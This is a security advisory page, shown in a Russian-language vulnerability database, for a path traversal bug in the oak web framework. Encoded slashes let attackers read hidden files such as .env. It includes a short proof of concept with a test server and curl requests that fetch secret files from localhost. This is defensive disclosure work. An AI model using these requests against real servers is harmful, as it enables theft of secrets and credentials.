Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-qm92-93fv-vh7m

Опубликовано: 01 нояб. 2024
Источник: github
Github: Прошло ревью
CVSS4: 7.7
CVSS3: 7.5

Описание

Path traversal in oak allows transfer of hidden files within the served root directory

Summary

By default oak does not allow transferring of hidden files with Context.send API. However, this can be bypassed by encoding / as its URL encoded form %2F.

Details

1.) Oak uses decodeComponent which seems to be unexpected. This is also the reason why it is not possible to access a file that contains URL encoded characters unless the client URL encodes it first.

2.) The function isHidden is flawed since it only checks if the first subpath is hidden, allowing secrets to be read from subdir/.env.

PoC

// server.ts import { Application } from "jsr:@oak/oak@17.1.2"; const app = new Application(); app.use(async (context, next) => { try { await context.send({ root: './root', hidden: false, // default }); } catch { await next(); } }); await app.listen({ port: 8000 });

In terminal:

# setup root directory mkdir root/.git echo SECRET_KEY=oops > root/.env echo oops > root/.git/config # start server deno run -A server.ts # in another terminal curl -D- http://127.0.0.1:8000/poc%2f../.env curl -D- http://127.0.0.1:8000/poc%2f../.git/config

Impact

For an attacker this has potential to read sensitive user data or to gain access to server secrets.

Пакеты

Наименование

@oakserver/oak

npm
Затронутые версииВерсия исправления

<= 14.1.0

Отсутствует

EPSS

Процентиль: 27%
0.00093
Низкий

7.7 High

CVSS4

7.5 High

CVSS3

Дефекты

CWE-22
CWE-35

Связанные уязвимости

nvd
больше 1 года назад

`oak` is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. By default `oak` does not allow transferring of hidden files with `Context.send` API. However, prior to version 17.1.3, this can be bypassed by encoding `/` as its URL encoded form `%2F`. For an attacker this has potential to read sensitive user data or to gain access to server secrets. Version 17.1.3 fixes the issue.

EPSS

Процентиль: 27%
0.00093
Низкий

7.7 High

CVSS4

7.5 High

CVSS3

Дефекты

CWE-22
CWE-35